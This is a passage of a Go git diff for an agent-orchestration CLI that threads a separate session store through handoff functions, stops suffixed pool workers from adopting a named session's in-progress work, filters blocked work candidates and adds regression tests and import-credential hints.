 		if errors.Is(err, session.ErrSessionNotFound) {
 			return true, nil
 		}
 		return false, fmt.Errorf("resolving session %q: %w", sessionName, err)
 	}
-	b, err := store.Get(id)
+	b, err := sessStore.Get(id)
 	if err != nil {
 		return false, fmt.Errorf("loading session %q: %w", id, err)
 	}
@@ -353,7 +369,7 @@ func sessionRestartableByController(store beads.Store, sessionName string) (bool
 	return namedSessionMode(b) == "always", nil
 }
 
-func clearRestartRequest(store beads.Store, dops drainOps, sessionName string) error {
+func clearRestartRequest(sessStore beads.Store, dops drainOps, sessionName string) error {
 	if sessionName == "" {
 		return nil
 	}
@@ -363,10 +379,10 @@ func clearRestartRequest(store beads.Store, dops drainOps, sessionName string) e
 			errs = append(errs, fmt.Errorf("clearing runtime restart flag: %w", err))
 		}
 	}
-	if store == nil {
+	if sessStore == nil {
 		return errors.Join(errs...)
 	}
-	id, err := resolveSessionID(store, sessionName)
+	id, err := resolveSessionID(sessStore, sessionName)
 	if err != nil {
 		if errors.Is(err, session.ErrSessionNotFound) {
 			return errors.Join(errs...)
@@ -374,7 +390,7 @@ func clearRestartRequest(store beads.Store, dops drainOps, sessionName string) e
 		errs = append(errs, fmt.Errorf("resolving session %q: %w", sessionName, err))
 		return errors.Join(errs...)
 	}
-	if err := sessionFrontDoor(store).ApplyPatch(id, map[string]string{
+	if err := sessionFrontDoor(sessStore).ApplyPatch(id, map[string]string{
 		"restart_requested":          "",
 		"continuation_reset_pending": "",
 	}); err != nil {
@@ -385,21 +401,21 @@ func clearRestartRequest(store beads.Store, dops drainOps, sessionName string) e
 
 // doHandoffRemote sends handoff mail to a remote session and kills its runtime.
 // Non-blocking: returns immediately after killing the session.
-func doHandoffRemote(store beads.Store, rec events.Recorder, sp runtime.Provider,
+func doHandoffRemote(store, sessStore beads.Store, rec events.Recorder, sp runtime.Provider,
 	sessionName, targetAddress, sender string, args []string, stdout, stderr io.Writer,
 ) int {
-	b, ok := createHandoffMail(store, rec, sender, targetAddress, args, "HANDOFF: context cycle", nil, stderr)
+	b, ok := createHandoffMail(store, sessStore, rec, sender, targetAddress, args, "HANDOFF: context cycle", nil, stderr)
 	if !ok {
 		return 1
 	}
 
-	restartable, err := sessionRestartableByController(store, sessionName)
+	restartable, err := sessionRestartableByController(sessStore, sessionName)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc handoff: checking session type: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
 	if !restartable {
-		if err := clearRestartRequest(store, newDrainOps(sp), sessionName); err != nil {
+		if err := clearRestartRequest(sessStore, newDrainOps(sp), sessionName); err != nil {
 			fmt.Fprintf(stderr, "gc handoff: clearing stale restart request: %v\n", err) //nolint:errcheck // best-effort stderr
 			return 1
 		}
@@ -408,7 +424,7 @@ func doHandoffRemote(store beads.Store, rec events.Recorder, sp runtime.Provider
 	}
 
 	// Kill target session (reconciler restarts it).
-	running, err := workerSessionTargetRunningWithConfig("", store, sp, nil, sessionName)
+	running, err := workerSessionTargetRunningWithConfig("", sessStore, sp, nil, sessionName)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc handoff: observing %s: %v\n", targetAddress, err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -420,12 +436,12 @@ func doHandoffRemote(store beads.Store, rec events.Recorder, sp runtime.Provider
 	// Resolve the agent identity before the kill, while the session bead is
 	// still live. The metric label uses the agent identity (not the sanitized
 	// runtime session name) so handoff stops join the start/crash/kill counters.
-	agentIdentity := sessionAgentMetricIdentityByName(store, sessionName)
-	if err := workerKillSessionTargetWithConfig("", store, sp, nil, sessionName); err != nil {
+	agentIdentity := sessionAgentMetricIdentityByName(sessStore, sessionName)
+	if err := workerKillSessionTargetWithConfig("", sessStore, sp, nil, sessionName); err != nil {
 		fmt.Fprintf(stderr, "gc handoff: killing %s: %v\n", targetAddress, err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
-	sessionID, resolveErr := resolveSessionID(store, sessionName)
+	sessionID, resolveErr := resolveSessionID(sessStore, sessionName)
 	if resolveErr != nil {
 		// The session was just killed; resolution can fail if its bead
 		// has been closed mid-flight. Fall back to the runtime name so
diff --git a/cmd/gc/cmd_handoff_seam_test.go b/cmd/gc/cmd_handoff_seam_test.go
index 7c0ddc63d7..d92cdcb8fc 100644
--- a/cmd/gc/cmd_handoff_seam_test.go
+++ b/cmd/gc/cmd_handoff_seam_test.go
@@ -22,7 +22,7 @@ func TestCreateHandoffMailRoutesThroughProviderSeam(t *testing.T) {
 	// The seam return type is mail.Message; this assignment fails to compile if
 	// createHandoffMail still leaks *beads.Bead at the call site.
 	var msg mail.Message
-	msg, ok := createHandoffMail(store, rec, "mayor", "mayor",
+	msg, ok := createHandoffMail(store, store, rec, "mayor", "mayor",
 		[]string{"HANDOFF: context full", "drain now"}, "HANDOFF: context cycle",
 		[]string{mail.AutoHandoffLabel, mail.ArchiveAfterInjectLabel}, &stderr)
 	if !ok {
diff --git a/cmd/gc/cmd_handoff_test.go b/cmd/gc/cmd_handoff_test.go
index e4eaad4c76..9b913f813f 100644
--- a/cmd/gc/cmd_handoff_test.go
+++ b/cmd/gc/cmd_handoff_test.go
@@ -74,7 +74,7 @@ func TestHandoffSuccess(t *testing.T) {
 	dops := newFakeDrainOps()
 	var stdout, stderr bytes.Buffer
 
-	code := doHandoff(store, rec, dops, nil, "mayor", "mayor",
+	code := doHandoff(store, store, rec, dops, nil, "mayor", "mayor",
 		[]string{"HANDOFF: context full"}, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("code = %d, want 0; stderr: %s", code, stderr.String())
@@ -327,7 +327,7 @@ func TestDoHandoffAutoReportsHookOutputWriteError(t *testing.T) {
 	rec := events.NewFake()
 	var stderr bytes.Buffer
 
-	code := doHandoffAuto(store, rec, "mayor", []string{"context cycle"}, "codex", errWriter{}, &stderr)
+	code := doHandoffAuto(store, store, rec, "mayor", []string{"context cycle"}, "codex", errWriter{}, &stderr)
 	if code != 1 {
 		t.Fatalf("code = %d, want 1", code)
 	}
@@ -428,7 +428,7 @@ func TestDoHandoff_Regression744_NamedSessionSkipsRestart(t *testing.T) {
 	dops.restartRequested["mayor"] = true
 
 	persistCalled := false
-	outcome := doHandoffWithOutcome(store, rec, dops, func() error {
+	outcome := doHandoffWithOutcome(store, store, rec, dops, func() error {
 		persistCalled = true
 		return nil
 	}, "mayor", "mayor", []string{"HANDOFF: context full"}, &stdout, &stderr)
@@ -501,7 +501,7 @@ func TestDoHandoff_NamedSessionClearRestartFailureReturnsError(t *testing.T) {
 		t.Fatalf("set configured_named_mode: %v", err)
 	}
 
-	outcome := doHandoffWithOutcome(store, rec, dops, nil, "mayor", "mayor",
+	outcome := doHandoffWithOutcome(store, store, rec, dops, nil, "mayor", "mayor",
 		[]string{"HANDOFF: context full"}, &stdout, &stderr)
 	if outcome.code != 1 {
 		t.Fatalf("code = %d, want 1", outcome.code)
@@ -541,7 +541,7 @@ func TestDoHandoff_NamedAlwaysSessionRequestsRestart(t *testing.T) {
 	}
 
 	persistCalled := false
-	outcome := doHandoffWithOutcome(store, rec, dops, func() error {
+	outcome := doHandoffWithOutcome(store, store, rec, dops, func() error {
 		persistCalled = true
 		return nil
 	}, "mayor", "mayor", []string{"HANDOFF: context full"}, &stdout, &stderr)
@@ -571,7 +571,7 @@ func TestHandoffWithMessage(t *testing.T) {
 	dops := newFakeDrainOps()
 	var stdout, stderr bytes.Buffer
 
-	code := doHandoff(store, rec, dops, nil, "polecat-1", "gc-city-polecat-1",
+	code := doHandoff(store, store, rec, dops, nil, "polecat-1", "gc-city-polecat-1",
 		[]string{"HANDOFF: PR review needed", "PR #42 is open, tests passing, needs review from refinery"},
 		&stdout, &stderr)
 	if code != 0 {
@@ -697,7 +697,7 @@ func TestHandoffRemoteRunning(t *testing.T) {
 		t.Fatal(err)
 	}
 	var stdout, stderr bytes.Buffer
-	code := doHandoffRemote(store, rec, sp, "deacon", "deacon", "mayor",
+	code := doHandoffRemote(store, store, rec, sp, "deacon", "deacon", "mayor",
 		[]string{"Context refresh", "Check beads for current state"}, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("code = %d, want 0; stderr: %s", code, stderr.String())
@@ -775,7 +775,7 @@ func TestHandoffRemoteNamedOnDemandSkipsKill(t *testing.T) {
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := doHandoffRemote(store, rec, sp, "mayor", "mayor", "deacon",
+	code := doHandoffRemote(store, store, rec, sp, "mayor", "mayor", "deacon",
 		[]string{"Context refresh", "Please pick this up manually"}, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("code = %d, want 0; stderr: %s", code, stderr.String())
@@ -815,7 +815,7 @@ func TestHandoffRemoteNotRunning(t *testing.T) {
 	rec := events.NewFake()
 	sp := runtime.NewFake()
 	var stdout, stderr bytes.Buffer
-	code := doHandoffRemote(store, rec, sp, "deacon", "deacon", "human",
+	code := doHandoffRemote(store, store, rec, sp, "deacon", "deacon", "human",
 		[]string{"Please check on PR #42"}, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("code = %d, want 0; stderr: %s", code, stderr.String())
diff --git a/cmd/gc/cmd_hook.go b/cmd/gc/cmd_hook.go
index 892e09735c..0dbcf5808b 100644
--- a/cmd/gc/cmd_hook.go
+++ b/cmd/gc/cmd_hook.go
@@ -367,13 +367,22 @@ func cmdHookWithOptions(args []string, opts hookCommandOptions, stdout, stderr i
 		assignee := firstNonEmptyHookValue(sessionName, sessionID, alias, agentForQuery, resolvedAgentName)
 		claimOpts := hookClaimOptions{
 			Assignee: assignee,
+			// IdentityCandidates governs ADOPTION of already-owned in_progress/open
+			// work (hookClaimExistingOrAssigned); it must be scoped to this
+			// session's OWN runtime identity, never the bare pool template. A
+			// suffixed pool worker resolves config via the GC_TEMPLATE fallback, so
+			// resolvedAgentName == a.QualifiedName() is the bare template, which is
+			// ALSO the [[named_session]] holder's identity — including it let a
+			// suffixed worker adopt the holder's in_progress bead (ga-80pen8). The
+			// bare template stays in RouteTargets, which governs FRESH claims of
+			// UNASSIGNED routed work. The canonical slot / named holder keep it via
+			// `alias` (GC_ALIAS == qualified bare name); only suffixed workers drop it.
 			IdentityCandidates: hookClaimIdentityCandidates(
 				assignee,
 				sessionID,
 				sessionName,
 				alias,
 				agentForQuery,
-				resolvedAgentName,
 			),
 			RouteTargets: hookClaimRouteTargets(hookClaimPrimaryRouteTarget(&a), resolvedAgentName, strings.TrimSpace(overrides["GC_TEMPLATE"])),
 			Env:          queryEnv,
@@ -683,10 +692,11 @@ func workQueryHasReadyWork(output string) bool {
 }
 
 // filterUnreadyHookCandidates strips beads from work_query output that fail
-// bd ready semantics: future defer_until, or any open blocking dep in the
-// row's blocked_by array. The work_query is expected to gate these, but
-// defensive filtering here prevents a single broken query from cascading
-// into agent action on a bead it cannot progress.
+// bd ready semantics: future defer_until, any open blocking dep in the row's
+// blocked_by array, or the row's own is_blocked / status=="blocked" marker.
+// The work_query is expected to gate these, but defensive filtering here
+// prevents a single broken query from cascading into agent action on a bead
+// it cannot progress.
 // Pure function over JSON; takes time.Time so tests stay deterministic.
 func filterUnreadyHookCandidates(output string, now time.Time) string {
 	if output == "" {
@@ -713,6 +723,9 @@ func filterUnreadyHookCandidates(output string, now time.Time) string {
 		if isDepBlockedHookCandidate(obj) {
 			continue
 		}
+		if isSelfBlockedHookCandidate(obj) {
+			continue
+		}
 		filtered = append(filtered, obj)
 	}
 	reencoded, err := json.Marshal(filtered)
@@ -760,6 +773,22 @@ func isDepBlockedHookCandidate(item map[string]any) bool {
 	return false
 }
 
+// isSelfBlockedHookCandidate reports whether a candidate carries bd's own
+// is_blocked marker or an explicit status=="blocked", independent of the
+// blocked_by dependency array checked by isDepBlockedHookCandidate. An
+// absent is_blocked field is treated as NOT blocked — bd's denormalized
+// projection is not always populated, and over-filtering here would strand
+// otherwise-ready work.
+func isSelfBlockedHookCandidate(item map[string]any) bool {
+	if blocked, ok := item["is_blocked"].(bool); ok && blocked {
+		return true
+	}
+	if status, ok := item["status"].(string); ok && strings.EqualFold(strings.TrimSpace(status), "blocked") {
+		return true
+	}
+	return false
+}
+
 func normalizeWorkQueryOutput(output string) string {
 	if output == "" {
 		return output
diff --git a/cmd/gc/cmd_hook_claim_metadata_test.go b/cmd/gc/cmd_hook_claim_metadata_test.go
new file mode 100644
index 0000000000..55b5755a6c
--- /dev/null
+++ b/cmd/gc/cmd_hook_claim_metadata_test.go
@@ -0,0 +1,55 @@
+package main
+
+import "testing"
+
+// TestDecodeHookClaimBeadsToleratesNonStringMetadata pins the fix for the
+// rig-wide claim outage (gcw-d95): the external `bd` CLI type-infers
+// `--set-metadata key=true` as a JSON boolean (and numbers as JSON numbers),
+// so a single bead carrying such a value used to poison the whole work_query
+// decode with "cannot unmarshal bool into Go struct field Bead.metadata of
+// type string" — failing decodeHookClaimBeads for the entire batch and
+// blocking every worker in the rig from claiming any work.
+//
+// The decoder must tolerate non-string metadata values by coercing them to
+// their string form, exactly as beads.StringMap already does on the bd list
+// path.
+func TestDecodeHookClaimBeadsToleratesNonStringMetadata(t *testing.T) {
+	output := `[{"id":"gcw-1","metadata":{"refinery_reviewed":true,"count":42,"note":"ok"}}]`
+
+	got, err := decodeHookClaimBeads(output)
+	if err != nil {
+		t.Fatalf("decodeHookClaimBeads returned error on non-string metadata: %v", err)
+	}
+	if len(got) != 1 {
+		t.Fatalf("decoded %d beads, want 1", len(got))
+	}
+
+	meta := got[0].Metadata
+	for _, tc := range []struct{ key, want string }{
+		{"refinery_reviewed", "true"},
+		{"count", "42"},
+		{"note", "ok"},
+	} {
+		if meta[tc.key] != tc.want {
+			t.Errorf("metadata[%q] = %q, want %q", tc.key, meta[tc.key], tc.want)
+		}
+	}
+}
+
+// TestDecodeHookClaimBeadsOneBadBeadDoesNotPoisonBatch proves the batch-level
+// invariant that was the actual outage: a boolean-metadata bead sitting next to
+// ordinary beads must not drop the good beads from the claim candidate set.
+func TestDecodeHookClaimBeadsOneBadBeadDoesNotPoisonBatch(t *testing.T) {
+	output := `[{"id":"a","metadata":{"note":"fine"}},{"id":"b","metadata":{"gc.parked":true}},{"id":"c"}]`
+
+	got, err := decodeHookClaimBeads(output)
+	if err != nil {
+		t.Fatalf("decodeHookClaimBeads returned error: %v", err)
+	}
+	if len(got) != 3 {
+		t.Fatalf("decoded %d beads, want 3 (one bool-metadata bead must not drop the batch)", len(got))
+	}
+	if got[1].Metadata["gc.parked"] != "true" {
+		t.Errorf("metadata[gc.parked] = %q, want %q", got[1].Metadata["gc.parked"], "true")
+	}
+}
diff --git a/cmd/gc/cmd_hook_claim_test.go b/cmd/gc/cmd_hook_claim_test.go
index 3f1c726e90..3d76305a9e 100644
--- a/cmd/gc/cmd_hook_claim_test.go
+++ b/cmd/gc/cmd_hook_claim_test.go
@@ -92,3 +92,42 @@ func TestDoHookClaimUsesSelectedStoreContextForMutationAndContinuation(t *testin
 		t.Fatalf("assignedBead = %q, want sib-1", assignedBead)
 	}
 }
+
+// TestDoHookClaimSkipsBlockedRoutedHeadAndClaimsReadyBehindIt guards the
+// widened-routed-tier fix: a routed tier's oldest candidate can be
+// is_blocked (e.g. gated on a PR), and the hook must fall through to a
+// Ready routed bead behind it rather than idle-exiting on the blocked head.
+func TestDoHookClaimSkipsBlockedRoutedHeadAndClaimsReadyBehindIt(t *testing.T) {
+	candidates := []beads.Bead{
+		{ID: "blocked-head", Status: "open", IsBlocked: boolPtr(true), Metadata: map[string]string{"gc.routed_to": "route-1"}},
+		{ID: "ready-behind", Status: "open", Metadata: map[string]string{"gc.routed_to": "route-1"}},
+	}
+	output, err := json.Marshal(candidates)
+	if err != nil {
+		t.Fatalf("marshal candidates: %v", err)
+	}
+
+	var claimedBead string
+	ops := hookClaimOps{
+		Runner: func(string, string) (string, error) { return string(output), nil },
+		Claim: func(_ context.Context, _ string, _ []string, beadID, assignee string) (beads.Bead, bool, error) {
+			claimedBead = beadID
+			return beads.Bead{ID: beadID, Assignee: assignee, Status: "in_progress"}, true, nil
+		},
+		DrainAck: func(io.Writer) error { return nil },
+	}
+
+	var stdout, stderr bytes.Buffer
+	code := doHookClaim("query", ".", hookClaimOptions{
+		Assignee:           "worker-1",
+		IdentityCandidates: []string{"worker-1"},
+		RouteTargets:       []string{"route-1"},
+		JSON:               true,
+	}, ops, &stdout, &stderr)
+	if code != 0 {
+		t.Fatalf("doHookClaim() = %d, want 0; stderr=%s", code, stderr.String())
+	}
+	if claimedBead != "ready-behind" {
+		t.Fatalf("claimedBead = %q, want ready-behind (blocked-head must be skipped)", claimedBead)
+	}
+}
diff --git a/cmd/gc/cmd_hook_test.go b/cmd/gc/cmd_hook_test.go
index bb71436117..e6cf3488f6 100644
--- a/cmd/gc/cmd_hook_test.go
+++ b/cmd/gc/cmd_hook_test.go
@@ -1548,6 +1548,195 @@ esac
 	}
 }
 
+// TestCmdHookClaimSuffixedPoolWorkerDoesNotAdoptBareTemplateInProgressWork is
+// the ga-80pen8 end-to-end regression: "builder" is BOTH a [[named_session]]
+// holder's own identity AND a pool template shared by suffixed instances
+// (max_active_sessions > 1), mirroring the config shape confirmed in the
+// field incident. A suffixed pool worker resolves its config via the
+// GC_TEMPLATE fallback, so its resolvedAgentName is the bare template — which
+// is ALSO the named holder's identity. Before the fix, that let the worker
+// adopt the holder's in_progress bead through hookClaimExistingOrAssigned
+// without ever going through the store.Claim CAS, so two identities worked
+// (and closed) the same bead. The worker must instead drain no_work, and the
+// claim mutation must never run for a bead it does not own.
+func TestCmdHookClaimSuffixedPoolWorkerDoesNotAdoptBareTemplateInProgressWork(t *testing.T) {
+	clearGCEnv(t)
+	disableManagedDoltRecoveryForTest(t)
+	cityDir := t.TempDir()
+	if err := os.MkdirAll(filepath.Join(cityDir, ".gc"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	cityToml := `[workspace]
+name = "test-city"
+
+[[agent]]
+name = "builder"
+max_active_sessions = 3
+work_query = "printf '[{\"id\":\"ga-frpt4k\",\"status\":\"in_progress\",\"assignee\":\"builder\",\"metadata\":{\"gc.routed_to\":\"builder\"}}]'"
+
+[[named_session]]
+template = "builder"
+mode = "on_demand"
+`
+	if err := os.WriteFile(filepath.Join(cityDir, "city.toml"), []byte(cityToml), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	fakeBin := t.TempDir()
+	logPath := filepath.Join(t.TempDir(), "bd.log")
+	script := fmt.Sprintf(`#!/bin/sh
+printf '%%s\n' "$*" >> %q
+printf '[]'
+`, logPath)
+	if err := os.WriteFile(filepath.Join(fakeBin, "bd"), []byte(script), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	t.Setenv("PATH", fakeBin+string(os.PathListSeparator)+os.Getenv("PATH"))
+	t.Setenv("GC_CITY", cityDir)
+	// Suffixed pool worker: GC_TEMPLATE is the bare pool binding, GC_ALIAS and
+	// GC_SESSION_NAME are this instance's own suffixed runtime identity.
+	t.Setenv("GC_TEMPLATE", "builder")
+	t.Setenv("GC_ALIAS", "builder-1")
+	t.Setenv("GC_SESSION_NAME", "builder-1")
+	t.Setenv("GC_SESSION_ID", "session-builder-1")
+
+	var stdout, stderr bytes.Buffer
+	code := cmdHookWithOptions(nil, hookCommandOptions{Claim: true, JSON: true}, &stdout, &stderr)
+	if code != 1 {
+		t.Fatalf("cmdHookWithOptions(--claim, suffixed pool worker) = %d, want 1 (no_work drain); stdout=%q stderr=%s", code, stdout.String(), stderr.String())
+	}
+	var result hookClaimJSONResult
+	if err := json.Unmarshal(stdout.Bytes(), &result); err != nil {
+		t.Fatalf("stdout is not JSON: %v\nraw: %s", err, stdout.String())
+	}
+	if result.Action == "work" && result.Reason == "existing_assignment" {
+		t.Fatalf("REGRESSION ga-80pen8: suffixed pool worker %q adopted named holder %q's in_progress bead %q (%+v)",
+			"builder-1", "builder", result.BeadID, result)
+	}
+	if result.Action != "drain" || result.Reason != "no_work" {
+		t.Fatalf("result = %+v, want action=drain reason=no_work", result)
+	}
+	// A foreign in_progress bead must never reach the claim mutation. bd may
+	// not run at all once the candidate is excluded from both the adoption
+	// and fresh-claim paths — that's an even stronger signal than an empty
+	// log, so a missing log file is not a failure.
+	logData, err := os.ReadFile(logPath)
+	if err != nil && !os.IsNotExist(err) {
+		t.Fatalf("ReadFile(%s): %v", logPath, err)
+	}
+	if strings.Contains(string(logData), "--claim") {
+		t.Fatalf("claim mutation ran for a foreign in_progress bead; bd log:\n%s", logData)
+	}
+}
+
+// TestCmdHookClaimNamedHolderStillAdoptsOwnInProgressWork is the companion
+// guard for ga-80pen8: the named-session holder (or a canonical max=1 pool
+// slot) whose own runtime identity IS the bare template must still adopt its
+// own in_progress bead. Its alias/assignee already carry the bare qualified
+// name via GC_ALIAS independent of resolvedAgentName, so the fix (dropping
+// resolvedAgentName from the suffixed-worker IdentityCandidates) must not
+// change this case.
+func TestCmdHookClaimNamedHolderStillAdoptsOwnInProgressWork(t *testing.T) {
+	clearGCEnv(t)
+	disableManagedDoltRecoveryForTest(t)
+	cityDir := t.TempDir()
+	if err := os.MkdirAll(filepath.Join(cityDir, ".gc"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	cityToml := `[workspace]
+name = "test-city"
+
+[[agent]]
+name = "builder"
+max_active_sessions = 3
+work_query = "printf '[{\"id\":\"ga-frpt4k\",\"status\":\"in_progress\",\"assignee\":\"builder\",\"metadata\":{\"gc.routed_to\":\"builder\"}}]'"
+
+[[named_session]]
+template = "builder"
+mode = "on_demand"
+`
+	if err := os.WriteFile(filepath.Join(cityDir, "city.toml"), []byte(cityToml), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	fakeBin := t.TempDir()
+	if err := os.WriteFile(filepath.Join(fakeBin, "bd"), []byte("#!/bin/sh\nprintf '[]'\n"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	t.Setenv("PATH", fakeBin+string(os.PathListSeparator)+os.Getenv("PATH"))
+	t.Setenv("GC_CITY", cityDir)
+	// Named holder / canonical slot: GC_ALIAS IS the bare template.
+	t.Setenv("GC_TEMPLATE", "builder")
+	t.Setenv("GC_ALIAS", "builder")
+	t.Setenv("GC_SESSION_NAME", "builder-session")
+	t.Setenv("GC_SESSION_ID", "session-builder")
+
+	var stdout, stderr bytes.Buffer
+	code := cmdHookWithOptions(nil, hookCommandOptions{Claim: true, JSON: true}, &stdout, &stderr)
+	if code != 0 {
+		t.Fatalf("cmdHookWithOptions(--claim, named holder) = %d, want 0; stdout=%q stderr=%s", code, stdout.String(), stderr.String())
+	}
+	var result hookClaimJSONResult
+	if err := json.Unmarshal(stdout.Bytes(), &result); err != nil {
+		t.Fatalf("stdout is not JSON: %v\nraw: %s", err, stdout.String())
+	}
+	if result.Action != "work" || result.Reason != "existing_assignment" || result.BeadID != "ga-frpt4k" {
+		t.Fatalf("over-fix regression: named holder no longer adopts its own in_progress bead: %+v", result)
+	}
+}
+
+// TestPoolWorkerIdentityCandidatesExcludeBareTemplate is a mechanism-level
+// guard for ga-80pen8, pinned to the post-fix contract: a suffixed pool
+// worker's claim IdentityCandidates must never include the bare pool
+// template, because the bare template is also the [[named_session]] holder's
+// own identity. Including it let a suffixed worker adopt the holder's
+// in_progress bead via hookClaimExistingOrAssigned without ever reaching the
+// store.Claim CAS.
+func TestPoolWorkerIdentityCandidatesExcludeBareTemplate(t *testing.T) {
+	const (
+		poolTemplate  = "gascity/builder"   // bare template == named-session holder's identity
+		workerReal    = "gascity/builder-1" // this suffixed pool worker's own identity
+		foreignBeadID = "ga-frpt4k"
+	)
+	// Fixed contract: cmd_hook.go's --claim block passes only this session's
+	// own runtime identity (assignee, sessionID, sessionName, alias,
+	// agentForQuery) into hookClaimIdentityCandidates — never the bare
+	// template resolved via the GC_TEMPLATE fallback.
+	identityCandidates := hookClaimIdentityCandidates(workerReal, "", workerReal, workerReal, workerReal)
+	runner := func(string, string) (string, error) {
+		return `[{"id":"` + foreignBeadID + `","status":"in_progress","assignee":"` + poolTemplate +
+			`","metadata":{"gc.routed_to":"` + poolTemplate + `"}}]`, nil
+	}
+	ops := hookClaimOps{
+		Runner: runner,
+		Claim: func(context.Context, string, []string, string, string) (beads.Bead, bool, error) {
+			t.Fatal("store.Claim ran: a foreign in_progress bead must never reach the CAS")
+			return beads.Bead{}, false, nil
+		},
+	}
+	opts := hookClaimOptions{
+		Assignee:           workerReal,
+		IdentityCandidates: identityCandidates,
+		RouteTargets:       hookClaimRouteTargets(poolTemplate, poolTemplate),
+		JSON:               true,
+	}
+	var stdout, stderr bytes.Buffer
+	code := doHookClaim("bd ready --json", "/tmp/work", opts, ops, &stdout, &stderr)
+	var result hookClaimJSONResult
+	if err := json.Unmarshal(stdout.Bytes(), &result); err != nil {
+		t.Fatalf("stdout is not JSON: %v\nraw: %s", err, stdout.String())
+	}
+	if result.Action == "work" && result.Reason == "existing_assignment" {
+		t.Fatalf("REGRESSION ga-80pen8: pool worker %q adopted %q's in_progress bead %q (%+v)",
+			workerReal, poolTemplate, result.BeadID, result)
+	}
+	if result.Action != "drain" || result.Reason != "no_work" || code != 1 {
+		t.Fatalf("want no_work drain, got action=%q reason=%q code=%d", result.Action, result.Reason, code)
+	}
+}
+
 func TestHookInjectAlwaysExitsZero(t *testing.T) {
 	// Even on command failure, inject mode exits 0.
 	runner := func(string, string) (string, error) { return "", fmt.Errorf("command failed") }
diff --git a/cmd/gc/cmd_import.go b/cmd/gc/cmd_import.go
index 65ba6aa732..7ac3b72eb7 100644
--- a/cmd/gc/cmd_import.go
+++ b/cmd/gc/cmd_import.go
@@ -5,7 +5,6 @@ import (
 	"errors"
 	"fmt"
 	"io"
-	"net/url"
 	"os"
 	"os/exec"
 	"path/filepath"
@@ -18,6 +17,8 @@ import (
 	"github.com/gastownhall/gascity/internal/config"
 	"github.com/gastownhall/gascity/internal/fsys"
 	"github.com/gastownhall/gascity/internal/git"
+	"github.com/gastownhall/gascity/internal/gitcred"
+	"github.com/gastownhall/gascity/internal/importsvc"
 	"github.com/gastownhall/gascity/internal/packman"
 	"github.com/gastownhall/gascity/internal/pricing"
 	"github.com/spf13/cobra"
@@ -35,6 +36,10 @@ var (
 	resolveImportHeadCommit = defaultImportHeadCommit
 )
 
+// resolveImportVersion and resolveImportHeadCommit carry a leading cityRoot so
+// the network ls-remote can resolve per-city pack credentials. Command tests
+// stub these vars; the importsvc.Deps mapping in importSvcDeps threads them.
+
 const cityPackSchema = 1
 
 type cityPackManifest struct {
@@ -102,10 +107,28 @@ func newImportCmd(stdout, stderr io.Writer) *cobra.Command {
 		newImportWhyCmd(stdout, stderr),
 		newImportMigrateCmd(stdout, stderr),
 		newImportPruneCmd(stdout, stderr),
+		newImportCredentialCmd(stdout, stderr),
 	)
 	return cmd
 }
 
+// printCredentialHint appends the pack-credential remediation hint when err
+// carries an auth classification from a network git run. It is deliberately
+// separate from importAddErrorLine's framing (pinned by exact-match tests).
+func printCredentialHint(stderr io.Writer, err error) {
+	var authErr *gitcred.AuthError
+	if !errors.As(err, &authErr) {
+		return
+	}
+	if authErr.Matched {
+		fmt.Fprintf(stderr, "hint: credential rule from %s matched but the remote rejected it; check the token is valid and has contents:read on this repository (gc import credential list)\n", authErr.RuleOrigin) //nolint:errcheck
+		return
+	}
+	fmt.Fprintf(stderr, "hint: this source requires authentication; register a pack credential and retry:\n")                                            //nolint:errcheck
+	fmt.Fprintf(stderr, "  gc import credential add %s --helper 'gh auth token'\n", authErr.OrgPrefix)                                                   //nolint:errcheck
+	fmt.Fprintf(stderr, "  (--token-file, --token-env, and --ssh-key-file are the non-interactive alternatives; see gc import credential add --help)\n") //nolint:errcheck
+}
+
 func newImportAddCmd(stdout, stderr io.Writer) *cobra.Command {
 	var version, name string
 	cmd := &cobra.Command{
@@ -388,16 +411,20 @@ func findNearestImportRoot(dir string) (string, bool, error) {
 	}
 }
 
+// KNOWN DUPLICATION (follow-up to converge): importScopeState plus the manifest
+// helpers below (loadImportScopeFS, collectAllImportsFS, loadCityPackManifestFS,
+// writeCityPackManifest, ...) are mirrored in internal/importsvc, which the
+// add/remove path now delegates to. The other gc import subcommands (install /
+// check / upgrade / list / why) still use these package-main copies. Keep the
+// two copies behavior-equivalent: any change to the pack.toml round-trip rules
+// here must be mirrored in internal/importsvc/manifest.go (and vice versa) until
+// those subcommands are migrated to delegate as well.
 type importScopeState struct {
 	imports      map[string]config.Import
 	syntheticTag string
 	save         func() error
 }
 
-func (s *importScopeState) syntheticKey(name string) string {
-	return s.syntheticTag + name
-}
-
 func (s *importScopeState) isRootPackScope() bool {
 	return s != nil && s.syntheticTag == "pack:"
 }
@@ -448,7 +475,8 @@ func loadImportScopeFS(fs fsys.FS, cityPath string) (*importScopeState, error) {
 	}, nil
 }
 
-func collectAllImportsFS(fs fsys.FS, cityPath string) (map[string]config.Import, error) {
+func collectAllImportsFS(cityPath string) (map[string]config.Import, error) {
+	fs := fsys.OSFS{}
 	all := make(map[string]config.Import)
 
 	packManifest, err := loadCityPackManifestFS(fs, cityPath)
@@ -546,18 +574,6 @@ func loadCityRootImportsFS(fs fsys.FS, cityPath string) (map[string]config.Impor
 	return cfg.Imports, nil
 }
 
-// cityRootImportExistsFS reports whether city.toml's root [imports] table
-// defines name. City entries own the effective root import wholesale, so the
-// add/remove write paths must consult this before mutating pack.toml.
-func cityRootImportExistsFS(fs fsys.FS, cityPath, name string) (bool, error) {
-	overrides, err := loadCityRootImportsFS(fs, cityPath)
-	if err != nil {
-		return false, err
-	}
-	_, ok := overrides[name]
-	return ok, nil
-}
-
 func lookupInspectableImport(target string, imports map[string]config.Import) (config.Import, bool) {
 	if imp, ok := imports[target]; ok {
 		return imp, true
